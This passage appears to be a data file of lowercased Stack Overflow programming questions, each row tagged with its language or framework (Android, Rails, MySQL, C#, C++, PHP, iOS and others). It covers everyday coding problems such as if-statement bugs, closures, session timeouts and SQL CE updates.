&amp;&amp; overlay != this) {         ((balloonitemizedoverlay&lt; &gt;) overlay).hideballoon();       }     }   }   private void setballoontouchlistener(final int thisindex) {     try {       @suppresswarnings( unused )       method m = this.getclass().getdeclaredmethod( onballoontap   int.class);       clickregion.setontouchlistener(new ontouchlistener() {         public boolean ontouch(view v  motionevent event) {           view l =  ((view) v.getparent()).findviewbyid(r.id.balloon_main_layout);           drawable d = l.getbackground();           if (event.getaction() == motionevent.action_down) {             int[] states = {android.r.attr.state_pressed};             if (d.setstate(states)) {               d.invalidateself();             }             return true;           } else if (event.getaction() == motionevent.action_up) {             int newstates[] = {};             if (d.setstate(newstates)) {               d.invalidateself();             }             // call overridden method             onballoontap(thisindex);             return true;           } else {             return false;           }         }       });     } catch (securityexception e) {       log.e( balloonitemizedoverlay    setballoontouchlistener reflection securityexception );       return;     } catch (nosuchmethodexception e) {       // method not overridden - do nothing       return;     }   } } </code></pre>,android
find_by nomethoderror in rails  i have the following line of code    <pre><code>user = user.find_by(email: params[:session][:email].downcase) </code></pre>   that is throwing an error   <pre><code>nomethoderror in sessionscontroller#create  undefined method `find_by  for #&lt;class:0x007f67187ef730&gt;  rails.root: /home/dj/portfolio/sample_app application trace | framework trace | full trace  app/controllers/sessions_controller.rb:7:in `create  </code></pre>   in other parts of the code i have successfully used <code>find_by_email</code> with no error. what could be causing this method to not work,ruby-on-rails
mysql if statement doesn t work  i m trying to add a stored procedure into mysql but always shows an error in line 6 please help me to fix this problem.   <pre><code>create procedure user_sync_proc(in id int in matricule int in type_op nvarchar(50)) begin     if (select current_user()= root@localhost )     then         insert into user_sync values(id matricule type_op now());     end if; end </code></pre>,mysql
listening for removal of view from superview in nsviewcontroller  i have an nstextfield in an nsview that is controlled by an nsviewcontroller. at some point  i remove this view. when the view is removed  if the text field has focus  it will dispatch an action. because i m in the middle of deconstructing the data and the view  it causes a fatal exception.    i think the answer to this would be to listen for when the view is being removed from the superview in the nsviewcontroller and then remove the view controller as the target for the action. is there some easy way to do this that i m missing,objective-c
java finalize and db connection management  i read the available threads on the subject of java object finalization and the reluctance of using it  still i am wondering if it s not the the best method to manage the lifetime of a db connection for example.    the 2 threads in question:   <ol> <li><a href= https://stackoverflow.com/questions/2506488/java-finalize-method-call >when is the finalize() method called in java </a></li> <li><a href= https://stackoverflow.com/questions/158174/why-would-you-ever-implement-finalize >why would you ever implement finalize() </a></li> </ol>   the bottom line of those threads are that it is not recommended to use finalize for the 2 following reasons(those are the main ones that convinced me):   <ol> <li>finalize is not guaranteed to be called</li> <li>finalize() impose a performance penalty on creation and collection of objects. see brian goetz article here: <a href= http://www.ibm.com/developerworks/java/library/j-jtp01274.html  rel= nofollow noreferrer >http://www.ibm.com/developerworks/java/library/j-jtp01274.html</a></li> </ol>   however  on the first thread there is a quote that seems to be key for me:  finalize should only be used for cleanup of (usually non-java) resources . a db connection is a resource and it seems it should be released using finalize like follows:   <pre><code>public class dbmanager {  /**  * the connection to the database  */ private connection mconnection;  public void initialize() throws exception{      // driver     class.forname( org.h2.driver );     mconnection = drivermanager.getconnection( jdbc:h2:mem:test    sa     );               ....            }   @override protected void finalize() throws throwable {     // todo auto-generated method stub     super.finalize();     try {          // closing the connection         mconnection.close();      } catch (exception e) {         // todo: handle exception     } }  } </code></pre>   now you could argue that i should have a close method in this class that would be invoked at the end of my application  this means figuring out where is the shutdown of my application  and that could vary between if it is a standalone application or run within a container. the finalize() does give this flexibility that you don t care to close the connection. in my case i run under spring and i don t even know where is that shutdown handler(i don t consider myself a spring expert at all).    another potential argument which i reject i why do i care cleaning up state if it s to handle the application shutdown use case. the answer to that is i think that it s unprofessional to not clean state  secondly profile and leak tool will report those leak which will never lead to a clear leak report and that for every application or it test that uses my object.    is the db connection use case above a good fit for finalize  if not how exactly such object should be managed,java
code falling through on an if statement  when i add the second if to test for car size m to calculatetotalcarcharge then try to test the condition of c  i m getting an answer for m (77.28 &amp; 167.44) when i really want (68.73 &amp; 148.92)  its almost like the code is somehow falling through to the next condition    test conditions   <pre><code>type - days - amount c - 3 - 68.73 m - 3 - 77.28 c - 7 - 148.92 m - 7 - 167.44 </code></pre>   <br/>   <pre><code>#include &lt;iostream&gt; //for i/o #include &lt;iomanip&gt; //for formatting output #include &lt;cmath&gt;    //for math   using namespace std;  //prototypes char validatecarchoice(); void displayprogramdescription(); int validatenumentry(string prompt); double calculatetotalcarcharge (char carsize  int daysrented);   //global constants const char compact =  c ; const char mid =  m ; const char full =  f ; const char suv =  s ; const double compact_daily_charge = 22.91; const double mid_daily_charge = 25.76; const double full_daily_charge = 28.87; const double suv_daily_charge = 98.88;  // -------------------------------------------------------------------------- // description: // input parameter: // returns: // ---------------------------------------------------------------------------  int main()  {     //local constants     const string enter_days_rented =  enter the number of days rented:  ;     const string enter_miles_driven =  enter number of miles driven:  ;      //local variables     char usercartypechosen;     char carsize;     int daysrented;     double milesdriven;     double carcharge;   //call function to display program description displayprogramdescription();  //calls function to validate the car choice input by user usercartypechosen = validatecarchoice();  //if car type chosen is suv (s) then only prompt will be to enter days //rented  if not prompt both days rented and miles driven. if (usercartypechosen ==  s ) {     daysrented = validatenumentry(enter_days_rented); } else {        daysrented = validatenumentry(enter_days_rented);     milesdriven = validatenumentry(enter_miles_driven); }  carcharge = calculatetotalcarcharge(carsize  daysrented);     //to be removed cout &lt;&lt; carcharge;      return 0; }  // -------------------------------------------------------------------------- // description: displayprogramdescription - displays program description // input parameter: n/a // returns: n/a // ---------------------------------------------------------------------------  void displayprogramdescription() {     //local constant     const string program_description =  this program will calculate a car rental        bill for rent2u. ;      //displays program description     cout &lt;&lt; program_description &lt;&lt; endl;     }  // -------------------------------------------------------------------------- // description: validatecarchoice - displays menu of car options and daily cost. //              then error checks that a valid choice was given // input parameter: n/a // returns: letter of car chosen // ---------------------------------------------------------------------------  char validatecarchoice () {     //local constants      const string enter_car_letter =  enter letter for car size rented:  ;     const string error_car_input =  re-enter letter for car size rented:  ;      //local variable     char carsize;      //displays car size options      cout &lt;&lt;  car sizes:  &lt;&lt; endl &lt;&lt; endl;     cout &lt;&lt; setw(5) &lt;&lt;  c - compact size at $ 22.91 per day  &lt;&lt; endl;     cout &lt;&lt; setw(5) &lt;&lt;  m - mid size at $ 25.76 per day  &lt;&lt; endl;     cout &lt;&lt; setw(5) &lt;&lt;  f - full size at $ 28.76 per day  &lt;&lt; endl;     cout &lt;&lt; setw(5) &lt;&lt;  s - suv at $ 98.88 per day  &lt;&lt; endl &lt;&lt; endl;      //prompt for user input     cout &lt;&lt; enter_car_letter;     cin &gt;&gt; carsize;     carsize = toupper(carsize);      //validation of car type chosen     while (carsize != c  &amp;&amp; carsize != m  &amp;&amp; carsize != f  &amp;&amp; carsize != s )     {   cout &lt;&lt; error_car_input;   cin &gt;&gt; carsize;   carsize = toupper(carsize);            }      return carsize; }  // -------------------------------------------------------------------------- // description: validatenumentry - validates that the user entry is at least 1 // input parameter: prompt- prompts user to enter number // returns: the user inputed number // ---------------------------------------------------------------------------  int validatenumentry (string prompt) {     //local constant     const string error =  error - entry must be at least 1. ;      //local variable     double num;      cout &lt;&lt; prompt;     cin &gt;&gt; num;       while (num &lt; 1)     {         cout &lt;&lt; error &lt;&lt; endl;         cout &lt;&lt; prompt;         cin &gt;&gt; num;      }      return num; }  // -------------------------------------------------------------------------- // description: // input parameter: // returns: // ---------------------------------------------------------------------------  double calculatetotalcarcharge (char carsize  int daysrented) {     //local constant     const int week = 7;     const double lower_week_rate = 6.5;      //local variable     double totalcarcharge;     int wholeweek;     int extradays;       if (carsize =  c )     {         if (daysrented &lt; week)         {             totalcarcharge = (compact_daily_charge * daysrented);         }         else         {             wholeweek = (daysrented / week);             extradays = (daysrented % week);             totalcarcharge = ((wholeweek * lower_week_rate *              compact_daily_charge) + (extradays * compact_daily_charge));         }     }      //once i add this if condition  if i try and test c i get the calculations     //for m     if (carsize =  m )     {         if (daysrented &lt; week)         {             totalcarcharge = (mid_daily_charge * daysrented);         }         else         {             wholeweek = (daysrented / week);             extradays = (daysrented % week);             totalcarcharge = ((wholeweek * lower_week_rate * mid_daily_charge)              + (extradays * mid_daily_charge));         }     }      return totalcarcharge; } </code></pre>,c++
which way is correct for timeout $_session  i am currently stuck with my session and the way to include them in a if statement for a timeout code.    which would be correct :   <pre><code>if (isset($_session[ time ]) &amp;&amp; $_session[ time ] &lt; (time() - 3600)) {   session_unset();   session_destroy();   include(__dir__ .  /home.php );   exit; } </code></pre>   or    <pre><code>if (isset($_session[ time ]) &lt; (time() - 3600)) {   session_unset();   session_destroy();   include(__dir__ .  /home.php );    exit; } </code></pre>,php
asp.net: what type of application/website is more suitable to webform or mvc   i have read all the post regarding the pro and con of asp.net webform vs mvc.    however  i m wondering under what circumstance does one use webform or mvc  would it come down to what you or your team is more familiar with,asp.net
what are the factors involved in deciding on .net framework version   my title sums it up.  i have a simple line of business application that i will be developing and am curious how to go about determining which version of .net i should target.  support for win xp sp3 would be nice  but not necessary.  it is going to be used to index multi-page tiffs  so import a batch of tiffs  then index them in a database.  users can then conduct simple searches to find those tiffs.    what do most developers look at when trying to determine the .net framework they will target for a new application like this   do i just target 4.5 since it s newest or highest version that supports what i need,.net
why writing items to console writes only namespace and class name instead of data   probably the title doesn t sound very well for most of you guys (skilled programmers)  but i m on my 3rd week of learning c# fundamentals and i cant figure it out how to solve the next task. i shall store some temperatures for a bunch of cities  asking a user for a cityname first and then for the actual temp in that city. all this stuff should be saved in a list&lt;> and i shall use class and constructor. when i try to print out the result (using foreach) it prints out the name of my namespace and the name of my class like  task_5.city  whats wrong with my code:   <pre><code>public class city //class {     public string cityname { get; set; }     public int temperature { get; set; }      public city(string name  int temp)//konstruktor      {         this.cityname = name;         this.temperature = temp;     }  }  class program {     static void main(string[] args)     {         var citylist = new list&lt;city&gt;();           console.writeline( what is your city  );         string cityname = console.readline();         console.writeline( what temperature for this city  );         int temp = convert.toint32(console.readline());          city mycity = new city(cityname  temp);         citylist.add(mycity);           foreach (var item in citylist)         {             console.writeline(item);         }          console.readline();      } } </code></pre>,c#
uiview created in a gcd global queue odd behavior after added as a subview  i m creating some uiviews and caching them for reasons that aren t really important to the question at hand.    after i add the view x as a subview to y one of x s subviews does not appear. if i wait 20-30 seconds it suddenly appears.    here s how i am creating the views and adding them to the cache. these views are not yet added to the ui  that happens later.   <pre><code>dispatch_async(dispatch_get_global_queue(0  0)  ^{          for(int i = 0; i &lt; 10;i++){             myuiview *ctemp = [[myuiview alloc] initwithframe:cgrectzero];             [self addviewtocahce:ctemp forkey:@ key ];            }  }); </code></pre>   but if i remove the <code>dispatch_async</code> it appears as it should. anyone know what is going on here or how to prevent this unusual behavior,ios
c# windows maintain hidden values in listbox   how i can maintain <code>hidden values in listbox</code>      my requirement list is i want to maintain <code>ids vs. name in the listbox</code> without maintaining any other generic list      name will be visible and ids will be hidden.    thanks.,c#
how to show only the incorrect values in the dialogue box one time only  <a href= https://i.stack.imgur.com/eykh8.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/eykh8.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/9cnuv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/9cnuv.png  alt= enter image description here ></a>    i am taking input from user in the edittext. now i want to show the desired output in the other text box  but if user inputs wrong values  a dialog box should open mentioning all the incorrect values...box is opening again and again till it detects all the incorrect values. eg-if i add three wrong values in the edit box it is opening box for 3 times.   <pre><code>   string s=edittext1.gettext().tostring();     string z[]=s.split( \\s );     edittext2.settext(  );     string a =   ;     string b =   not valid ;      for(int i=0;i&lt;z.length;i++)     {         int j=integer.parseint(z[i]);          if(j&gt;=65 &amp;&amp; j&lt;=97)         {             edittext2.settext(edittext2.gettext() +    + string.valueof((char) j));         }         else {             alertdialog.builder alertdialogbuilder = new alertdialog.builder(this);                  a += z[i]+ \t ;              alertdialogbuilder.settitle( error );             alertdialogbuilder.setcancelable(false);             alertdialogbuilder.setmessage(a+b)                     .setpositivebutton( ok   new dialoginterface.onclicklistener() {                         public void onclick(dialoginterface dialog  int id) {                             dialog.cancel();                         }                     });              alertdialog alertdialog = alertdialogbuilder.create();             alertdialog.show();         }  </code></pre>,android
attribute to mark as  internal use   i made a class which requires the public default constructor but that is never called; instead another constructor is used at datagrid.addingnewitem.    i d like to tell developers that the default constructor is not for their use. is there an attribute which suits the purpose     i had checked debuggernonusercode and methodimplattribute with methodimplattributes.internalcall but not sure that s the proper approach.   <pre><code>public partial class mainwindow : window {     public mainwindow()     {         initializecomponent();          this.datagrid1.canuseraddrows = true;         var list = new list&lt;rowx&gt;();         this.datagrid1.itemssource = collectionviewsource.getdefaultview(list);         this.datagrid1.addingnewitem += (s  e) =&gt; e.newitem = new rowx( abc );     } }  public class rowx {     public rowx()     {         //this is not used. but collectionview require this to be public or          //canuseraddrows doesn t work.     }      public rowx(object o)     {         //this is the actual ctor.     }      public string text { get; set; } } </code></pre>,c#
is it possible to write syntax like - ()()   i read in an ebook somewhere (which i m desperate to find again)  that  by using delegates  it is possible to write code which has syntax as follows:   <pre><code> ()(); // where delegate precedes this. </code></pre>   can anyone provide any details how this would be possible/in what situation this would occur,c#
rails to load app reviews from itunes store  i build a simple website that is a portfolio for iphone apps  the site is built in ruby on rails 4  i need to have certain apps reviews and ratings being loaded from itunes store  as in i have a url that connetcs to an iphone app page in itunes store  i want to make sure my website always displays the latest ratings on that app.  i don t know how do accomplish that.,ruby-on-rails
what is the use of timer control   i know update panel in ajax control.what is used of timer control.i came across the web application called a1 inside that there are 3 page p1 p2 p3 respectively.p3 contain code for update progress and for file to download that code is in timer1_tick() function.inside a1 there is one folder called f1.in f1 there is s1 page.in s1 s aspx.cs file  inside the button click event i am redirecting to p3. response.redirect(@ ~\p3.aspx   false); but s1 does not contain update progress timer control.does it fine,asp.net
how to get the function result in ng-repeat in angularjs   in <code>ng-repeat</code> trying to display the location address by passing the latitude and longitude to a function as shown below:   <pre><code>$scope.address = function(lat lng){     return reversegeocode.geocodeposition(lat lng  function(address){         console.log(address);         return address;     }); }; </code></pre>   i am using <code>reversegeocode.geocodeposition</code> to fetch the address and below is my view   <pre><code>&lt;table class= ridetable &gt;    &lt;tbody&gt;       &lt;tr class=   ng-repeat= item in ridedetailsarray &gt;          &lt;td class= ridtd &gt;             &lt;div class= ridename &gt;ride {{$index + 1}}&lt;/div&gt;          &lt;/td&gt;          &lt;td&gt;             &lt;p&gt;pick location : {{address(item.pick_lat item.pick_long)}}&lt;/p&gt;             &lt;p&gt;drop location : {{address(item.drop_lat item.drop_long)}}&lt;/p&gt;          &lt;/td&gt;       &lt;/tr&gt;    &lt;/tbody&gt; &lt;/table&gt; </code></pre>   pick location and drop location is not displaying in the view. how can i fix this and can i get any help.,angularjs
priority list on sql queries   during the interview have faced this question  .   there is one sql query which has where  having  group by  order by clauses. so when you try to run this query which condition will execute first   have said:  where class will be  executed first.   but i want to know the exact order sql queries following. so     is sql is following any order to execute the queries based on the condition it has  .     if yes then   please tell me what is the order     p>s: have tried with lot of web resources. but no luck.,sql
why getchar() doesn t get next value from input   i have two dinamicaly created arrays:   <pre><code>int *sifre = malloc(brkomp* sizeof(int)); int *faktori = malloc(brkomp * sizeof(int)); </code></pre>   and next part of code:   <pre><code>do {             int i = 0;      while ((podatak[i] = getchar()) !=    )      {         i++;     }     sifre[j] = atoi(podatak);      for (i = 0; i &lt; 100; i++)     {         podatak[i] =    ;     }      i = 0;     while ((end = podatak[i] = getchar()) !=     &amp;&amp; end !=  \n )      {         i++;     }     faktori[k] = atoi(podatak);      for (i = 0; i &lt; 100; i++)     {         podatak[i] =    ;     }     j++;     k++; } while (end !=  \n ); </code></pre>   input at console is like this:   <pre><code>23 2 257 1 </code></pre>   when i debug after first iteration values of <code>sifre[j]</code> and <code>faktori[k]</code> are 23 and 2 respectively. but after second iteration values are still the same. i expect 257 and 1.    why this doesn t work,c
jquery and regexp for hide children elements  i have a simple div:   <pre><code>&lt;div class= test &gt;     &lt;div id= test1 &gt;&lt;/id&gt;     &lt;div id= qwerqw &gt;&lt;/id&gt;     ...     &lt;div id= 23112 &gt;&lt;/id&gt; &lt;/div&gt; </code></pre>   how to hide all elements in div   $( .test ).hide() hide only parent div.,jquery
python - extract number from string without square bracket  so i am currently developing an ai  but i need help with getting the age. so if someone inputs  i am 14 years old  i want it to take the 14 and set it has a variable. i have done this but  square brackets go around the output  which i don t want  so i am looking for a way to get the number from the string without square brackets. this is my code   <pre><code>#gets users age elif  i am  in inp and  years old  in inp:   age=[int(s) for s in inp.split() if s.isdigit()]   age=str(age)   print(age) </code></pre>   any help is appreciated,python
how can we add a row every time on the top of the tableview first row on a button click in view   can you please help me to do this one    <pre><code>static nsstring *cellidentifier = @ cell ;     uitableviewcell *cell = (uitableviewcell*)[tableview dequeuereusablecellwithidentifier:cellidentifier];      if (cell == nil)     {         cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier];     }     cell.textlabel.text = [popoveritem objectatindex:indexpath.row];     [cell.textlabel setfont:[uifont systemfontofsize:10.05f]];     cell.imageview.image = [uiimage imagenamed:[popimage objectatindex:indexpath.row]];     nslog(@ cellcontent%@  cell.textlabel.text);     uiview *cellbgcolorview = [[[uiview alloc] init]autorelease];     [cellbgcolorview setbackgroundcolor:[uicolor colorwithred:40/255.0 green:128/255.0 blue:184/255.0 alpha:1.0]];     cell.selectedbackgroundview = cellbgcolorview;      tableview.scrollenabled = no;     return cell; </code></pre>   first time the tableview will show one record and when i click to the button appeared in the view will add another row at the top of the table view,iphone
string concat in c#   what is different between string <code>+</code>  <code>string.concat()</code>;    i mean    <pre><code>string a= sasi   string b= surya ; </code></pre>   <code>string x= a+b</code>  and <code>string x= string.concat(a b);</code>,asp.net
ios passing data between two views  i m using two views (view controllers vc1 and vc2) and passing data from vc1 to vc2  i stored the values for two variables in vc2    <pre><code>  //vc1 store obj to vc2 self.vc2.twtid=ide; self.vc2.urlstring=[[nsurl alloc]  initwithstring:vurl]; </code></pre>   i received the values after vc2 was shown. my problem is when i click in any cell in vc1 for the second time. when i navigate back to vc1(tableview) again and tried to select cell  the values aren t stored again.   <pre><code>  //vc.h i declare the two var  @property(strong  nonatomic) nsnumber *twtid;  @property(strong  nonatomic) nsurl *urlstring; </code></pre>   note: i didn t use prepareforsegue.without segue!!,ios
aligning a box to a box with css  i am new to css and i am trying to make my first website as css but i am having a problem getting the two boxes to align side by side for the body and the four boxes above that don t stay next to each other. i have played around with float and position with no luck.    you can see the site here: <a href= http://gdisinc.com/barker/default.php  rel= nofollow >http://gdisinc.com/barker/default.php</a>    i m trying to get it to look like this: <a href= http://gdisinc.com/barker/images/menubar/layout_barker.jpg  rel= nofollow >http://gdisinc.com/barker/images/menubar/layout_barker.jpg</a>    could you please tell me what i am doing wrong and how i can fix it  thank you!,css
how to encrypt the sqlite file in ios and which one is good method   hi i would like to encrypt my database(sqlite) file and which encryption method is good for ios development. thank s in advance.,iphone
understanding function scope  i have code on javascript.   <pre><code>var a = [];  for (var i = 0; i &lt; 5; i++) {     a[i] = function () {         alert(i);     }; }  a[2](); </code></pre>   if i invoke <code>a[2]()</code> i expect to see a message with <code>2</code> but instead of this i see <code>5</code>.    to fix it i can rewrite it like this:   <pre><code>for (var i = 0; i &lt; 5; i++) {     (function (v) {         a[i] = function () {             alert(v);         }     })(i) } </code></pre>   but i cannot understand how does it work. so why i need to wrap my function code to closure,javascript
c# simple if or question  sorry to ask this as i thought i knew the answer  i want to exit the program if username is greater than 4 characters or username is not an account called student. however this even if the username is only 3 characters and is not student i m still hitting application.exit. what am i doing wrong    <pre><code>if (username.length &gt; 4 | username !=  student ) {     application.exit(); } </code></pre>   shame on me :-(,c#
iphone objective-c textfield property autocorrectiontype and autocapitalizationtype not work simultaneous  i have faced problem for using textfield property autocorrectiontype and autocapitalizationtype simultaneous. i used it as following:   <pre><code>mytextfield.autocorrectiontype = uitextautocorrectiontypeno; mytextfield.autocapitalizationtype = uitextautocapitalizationtypewords; </code></pre>   whenever i write <code>mytextfield.autocorrectiontype = uitextautocorrectiontypeno;</code> then autocapitalizationtype property will not be effected.    so  if anyone have idea for  how to use above both property simultaneous  then reply as soon as possible...,iphone
when do we create memory for ivars in singleton example by apple   i have seen the apple s example of singleton and couple of other examples. people say that it is too strict!    but the point is ..even if it is too strict  i want to understand it. i dont understand that when we call allocwithzone on super  what happens      memory will be created according to super s instance size.    what if our singleton has ivars         <a href= http://developer.apple.com/library/mac/#documentation/cocoa/conceptual/cocoafundamentals/cocoaobjects/cocoaobjects.html#//apple_ref/doc/uid/tp40002974-ch4-sw32  rel= nofollow >http://developer.apple.com/library/mac/#documentation/cocoa/conceptual/cocoafundamentals/cocoaobjects/cocoaobjects.html#//apple_ref/doc/uid/tp40002974-ch4-sw32</a>    i also dont understand that  why does allocwithzone return the object with a retain call when retain itself is returning the object as it is.,objective-c
possible to get the code powering a view in mysql   well i m a bit of an idiot  i wrote a view then accidently closed the window so now i don t have a copy of the query powering it.  syntax was:   <pre><code> create view view_name as select something from somewhere </code></pre>   is there a way to get the  select something from somewhere  or am i going to have to rewrite it from memory,mysql
background image in div  i have a div containing some text with a background image. the div s width is not fixed. i want to show the right part of the background image by default  and then show more of the image to the left if the text grows longer. how do i do this,html
html output from xml and strange characters  im using curl to fetch twitter rss  then write those tweets to wordpress.    here is an example of the xml:   <pre><code>  &lt;title&gt;bob: twitter&amp;#8217;s @anywhere platform is now live - http://bit.ly/b54cts&lt;/title&gt; </code></pre>   i then write this to wordpress  but the result is:   <pre><code>bob: twitterâs @anywhere platform is now live - &lt;a href= http://bit.ly/b54cts  target= _blank &gt;http://bit.ly/b54cts&lt;/a&gt; </code></pre>   not the <code>âs</code> character  can any suggest what i might be doing wrong,php
updating sqlce causes entire column s data to change c#  first i want to say that this site has been a really big help to me in the past couple of weeks. well to start  i have written a windows form app in c# with a textbox for filtering  a listview and two textboxes and two buttons one for adding new stock and one for updating.    the idea is to open the program  it displays all stock  you select the item you want to edit and it drops the values to two textboxes  where you can modify them and save it  or add new stock items.    i got some code off youtube for updating a sqlce database and it worked fine  but what i don t understand is the when i tried using this code on a different form  to update my stock list  it would not work properly. it would update the entire column instead of the selected row.    i have tried writing it from scratch and even copying the working code  but both give the same error. here is the code that i m using  its just to update the two fields in the database from values from two textboxes if stock was uploaded incorrectly   <pre><code>    using system;     using system.collections.generic;     using system.componentmodel;     using system.data;     using system.drawing;     using system.linq;     using system.text;     using system.windows.forms;             using system.data.sqlserverce;      namespace windowsformsapplication1     {     public partial class form1 : form     {     sqlceconnection cn = new sqlceconnection( data source = c:\\clients.sdf );     string qtyinstock;     public form1()     {         initializecomponent();     }      private void form1_load(object sender  eventargs e)     {         try         {             cn.open();             readstock(new sqlcecommand( select * from stock order by cartridge_code   cn));          }          catch (sqlceexception ex)         {             messagebox.show(ex.message  application.productname  messageboxbuttons.ok  messageboxicon.error);             application.exitthread();          }     }     private void button2_click(object sender  eventargs e)     {          if (checkbox1.checked == true)         {              //check the qty              int qty;             bool isinteger = int.tryparse(textbox2.text  out qty);                if (isinteger)             {                 sqlcecommand cm = new sqlcecommand( insert into stock(qty_in_stock  cartridge_code) values(@qty_in_stock  @cartridge_code)   cn);                 cm.parameters.addwithvalue( @qty_in_stock   textbox2.text);                 cm.parameters.addwithvalue( @cartridge_code   textbox3.text);                   try                 {                     int affectedrows = cm.executenonquery();                      if (affectedrows &gt; 0)                     {                         messagebox.show( insert successfull!   application.productname  messageboxbuttons.ok  messageboxicon.information);                         textbox1.text =   ;                         textbox2.text =   ;                         textbox3.text =   ;                         readstock(new sqlcecommand( select * from stock order by cartridge_code   cn));                      }                      else                     {                         messagebox.show( insert failed!   application.productname  messageboxbuttons.ok  messageboxicon.error);                      }                 }                  catch (exception ex)                 {                     messagebox.show(ex.message  application.productname  messageboxbuttons.ok  messageboxicon.error);                   }             }             else             {                 messagebox.show( no data inserted! the qty is not valid!   application.productname  messageboxbuttons.ok  messageboxicon.warning);               }         }         else          {             messagebox.show( please ensure all details are correct and check the checkbox );         }     }      private void texboxes_textchanged(object sender  eventargs e)     {         if (textbox2.text !=    &amp;&amp; textbox3.text !=   )         {             button1.enabled = true;             button2.enabled = true;          }          else         {             button1.enabled = false;             button2.enabled = false;         }     }     public void readstock(sqlcecommand cm)     {          listview1.items.clear();          sqlcedatareader dr3 = cm.executereader();          while (dr3.read())         {              listviewitem it3 = new listviewitem(dr3[ qty_in_stock ].tostring());             it3.subitems.add(dr3[ cartridge_code ].tostring());                 listview1.items.add(it3);         }         dr3.close();         dr3.dispose();      }      private void textbox1_textchanged(object sender  eventargs e)     {         readstock(new sqlcecommand( select * from stock where cartridge_code like  %  + textbox1.text +  %  order by cartridge_code   cn));      }      private void button1_click(object sender  eventargs e)     {         if (checkbox1.checked == true)         {              int qty;             bool isinteger = int.tryparse(textbox2.text  out qty);              if (isinteger)             {                 sqlcecommand cm = new sqlcecommand( update stock set qty_in_stock = @qty_in_stock  cartridge_code = @cartridge_code where qty_in_stock =    + qtyinstock +     cn);                 cm.parameters.addwithvalue( @qty_in_stock   textbox2.text);                 cm.parameters.addwithvalue( @cartridge_code   textbox3.text);                    try                 {                     cm.executenonquery();                     readstock(new sqlcecommand( select * from stock order by cartridge_code   cn));                      textbox2.text = textbox3.text =   ;                   }                 catch (exception ex)                 {                      messagebox.show(ex.message  application.productname  messageboxbuttons.ok  messageboxicon.error);                   }                  checkbox1.checked = false;             }             else             {                  messagebox.show( the qty is not valid   application.productname  messageboxbuttons.ok  messageboxicon.warning);              }         }         else         {             messagebox.show( please ensure all data is correct and checkbox is checked );         }     }      private void listview1_selectedindexchanged(object sender  eventargs e)     {         if (listview1.selecteditems.count &gt; 0)         {              qtyinstock = textbox2.text = listview1.selecteditems[0].text;             textbox3.text = listview1.selecteditems[0].subitems[1].text;           }          else         {             textbox2.text = textbox3.text =   ;           }     }     }     } </code></pre>   sorry for posting the entire code and i know its not coded neatly  i ve only been coding for about a month if this is only a syntax error could you please point it out since i ve been staring at this for almost a day and cant figure it out  or any other ideas for doing this much appreciated.,c#
enbale usb debugging on damaged screen of mobile  samsung j3 pro -mobile screen is damaged and does not show anything  however its touch is working and i can receive calls etc.  i have tried <code>vysor</code> and <code>myphoneexplorer</code> to view the mobile screen on my laptop. but it ask allow <code>usb debugging</code>. however my usb-debugging is also enabled.   <blockquote>    <strong>note:</strong> i have setting saved on one of my machine. i can access and view display on vysor and change the setting on that pc. when i use another laptop it ask for   allowing prompt option for usb-debugging. how to do on that machine.  </blockquote>,android
using funtions and switch statements   i need a program with a menu option that converts to different temperatures using functions and switch statements...i will appreciate the help  this is what i have so far...   <pre><code>  #include &lt;iostream&gt;   #include &lt;iomanip&gt;   #include &lt;cmath&gt;   #include &lt;cstdlib&gt;    using namespace std;    int getmenuselection();  //displays menu and gets user selection   void convertfromcelsius(double tempcelsius);//from celsius to the other        scales    void convertfromfahrenheit(double tempfahrenheit);//from fahrenheit to the other scales    void convertfromkelvin(double temkelvin);//from kelvin to the other scales    int main()  {  int menuselection = 0;  double tempcelsius         tempfahrenheit         tempkelvin;   do  {     system( cls );      menuselection = getmenuselection();      switch (menuselection)     {     case 1: convertfromcelsius();         cout &lt;&lt;  \nthis program will convert the temperatures in degree                   celsius to degree fahrenheit and kelvin\n ;         cout &lt;&lt;  enter 3 temperature values in degree celsius here:   ;          cin &gt;&gt; tempcelsius;          tempfahrenheit = tempcelsius * (9.0 / 5.0) + 32;          tempkelvin = tempcelsius + 273.15;          cout &lt;&lt;  \n***********conversion table************\n ;          cout &lt;&lt; setprecision(2) &lt;&lt; fixed               &lt;&lt;  \ncelsius:\n  &lt;&lt; tempcelsius &lt;&lt; endl;          cout &lt;&lt; setprecision(2) &lt;&lt; fixed               &lt;&lt;  \nfaherenheit:\n  &lt;&lt; tempfahrenheit &lt;&lt; endl;          cout &lt;&lt; setprecision(2) &lt;&lt; fixed               &lt;&lt; \nkelvin:\n  &lt;&lt; tempkelvin &lt;&lt; endl;         break;     case 2: convertfromfahrenheit();         cout &lt;&lt;  \nthis program will convert the temperatures in degree               fahrenheit to degree celsius and kelvin\n ;         cout &lt;&lt;  enter 3 temperature values in degree fahrenheit here:   ;         cin &gt;&gt; tempfahrenheit;         tempcelsius = (tempfahrenheit - 32) * (5.0 / 9.0);         tempkelvin = (tempfahrenheit + 459.67)  * (5.0 / 9.0);         cout &lt;&lt;  \n***********conversion table************\n ;         cout &lt;&lt; setprecision(2) &lt;&lt; fixed             &lt;&lt;  \nfaherenheit:\n  &lt;&lt; tempfahrenheit &lt;&lt; endl;         cout &lt;&lt; setprecision(2) &lt;&lt; fixed             &lt;&lt;  \ncelsius:\n  &lt;&lt; tempcelsius &lt;&lt; endl;         cout &lt;&lt; setprecision(2) &lt;&lt; fixed             &lt;&lt;  \nkelvin:\n  &lt;&lt; tempkelvin &lt;&lt; endl;         break;     case 3: convertfromkelvin();         cout &lt;&lt;  \nthis program will convert the temperatures in degree                   kelvin  to degree fahrenheit and celsius\n ;         cout &lt;&lt;  enter 3 temperature values in degree kelvin here:   ;         cin &gt;&gt; tempkelvin;         tempfahrenheit = tempkelvin * (9.0 / 5.0) - 459.67;         tempcelsius = tempkelvin - 273.15;         cout &lt;&lt;  \n***********conversion table************\n ;         cout &lt;&lt; setprecision(2) &lt;&lt; fixed             &lt;&lt;  \nkelvin:\n  &lt;&lt; tempkelvin &lt;&lt; endl;         cout &lt;&lt; setprecision(2) &lt;&lt; fixed             &lt;&lt;  \nfaherenheit:\n  &lt;&lt; tempfahrenheit &lt;&lt; endl;         cout &lt;&lt; setprecision(2) &lt;&lt; fixed             &lt;&lt;  \ncelsius:\n  &lt;&lt; tempcelsius 